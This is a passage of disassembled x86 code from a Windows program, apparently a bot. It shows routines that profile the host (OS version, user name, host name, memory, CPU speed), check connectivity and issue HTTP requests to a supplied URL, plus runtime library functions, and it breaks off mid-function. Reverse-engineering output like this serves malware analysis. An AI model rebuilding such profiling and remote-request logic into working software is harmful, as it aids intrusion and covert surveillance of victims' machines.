sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	dword_427078	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994


loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7


loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7


loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07


loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17


loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27


loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36


loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43D7E8
		mov	[ebp+var_CC], 94h
		call	dword_4270C8	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_431944


loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_431940
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------


loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_43193C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_431938
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_431934
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431930
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C


loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431928


loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44


loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_2	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437EFC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB514
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CB674	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB5EC	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------


loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_427074	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A7D4
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_427104	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_427100	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_427194	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A6F8
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB71C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB4F8	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A854
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A84C
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------


loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A848


loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------


loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A844
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A800
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A934
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB530	; InternetCrackUrlA
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB5E4
		call	dword_4CB608	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB5FC	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB5A8	; HttpSendRequestA
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A918
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A8DC
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A8C0
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------


loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A894
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A864


loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h


loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CB668	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_4CB668	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; sub_401221+14Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DCFC8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DCFC4
		call	dword_427140	; RtlFreeHeap


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; sub_40F03B+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DCFC8
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DCFC0
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DCFC4
		call	dword_427144	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
